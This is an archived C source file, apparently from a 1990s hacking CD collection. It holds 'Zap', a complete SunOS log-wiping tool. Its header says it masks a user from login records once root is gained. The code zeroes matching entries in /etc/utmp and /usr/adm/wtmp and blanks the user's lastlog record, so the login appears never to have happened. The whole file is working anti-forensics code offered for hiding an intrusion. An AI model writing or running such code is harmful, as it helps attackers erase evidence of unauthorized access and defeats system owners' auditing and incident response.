home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / UNIX / ZAP.ZIP / ZAP.C
C/C++ Source or Header  |  1996-04-26  |  2KB  |  76 lines

  1. /*
  2.       Title:  Zap.c (c) rokK Industries
  3.    Sequence:  911204.B
  4.  
  5.     Syztems:  Kompiles on SunOS 4.+
  6.        Note:  To mask yourself from lastlog and wtmp you need to be root,
  7.               utmp is go+w on default SunOS, but is sometimes removed.
  8.     Kompile:  cc -O Zap.c -o Zap
  9.         Run:  Zap <Username>
  10.  
  11.        Desc:  Will Fill the Wtmp and Utmp Entries corresponding to the
  12.               entered Username. It also Zeros out the last login data for
  13.               the specific user, fingering that user will show 'Never Logged
  14.               In'
  15.  
  16.       Usage:  If you cant find a usage for this, get a brain.
  17. */
  18.  
  19. #include <sys/types.h>
  20. #include <stdio.h>
  21. #include <unistd.h>
  22. #include <fcntl.h>
  23. #include <utmp.h>
  24. #include <lastlog.h>
  25. #include <pwd.h>
  26.  
  27. int f;
  28.  
  29. void kill_tmp(name,who)
  30. char *name,
  31.      *who;
  32. {
  33.     struct utmp utmp_ent;
  34.  
  35.   if ((f=open(name,O_RDWR))>=0) {
  36.      while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
  37.        if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  38.                  bzero((char *)&utmp_ent,sizeof( utmp_ent ));
  39.                  lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
  40.                  write (f, &utmp_ent, sizeof (utmp_ent));
  41.             }
  42.      close(f);
  43.   }
  44. }
  45.  
  46. void kill_lastlog(who)
  47. char *who;
  48. {
  49.     struct passwd *pwd;
  50.     struct lastlog newll;
  51.  
  52.      if ((pwd=getpwnam(who))!=NULL) {
  53.  
  54.         if ((f=open("/usr/adm/lastlog", O_RDWR)) >= 0) {
  55.             lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
  56.             bzero((char *)&newll,sizeof( newll ));
  57.             write(f, (char *)&newll, sizeof( newll ));
  58.             close(f);
  59.         }
  60.  
  61.     } else printf("%s: ?\n",who);
  62. }
  63.  
  64. main(argc,argv)
  65. int  argc;
  66. char *argv[];
  67. {
  68.     if (argc==2) {
  69.         kill_tmp("/etc/utmp",argv[1]);
  70.         kill_tmp("/usr/adm/wtmp",argv[1]);
  71.         kill_lastlog(argv[1]);
  72.         printf("Zap!\n");
  73.     } else
  74.     printf("Error.\n");
  75. }
  76.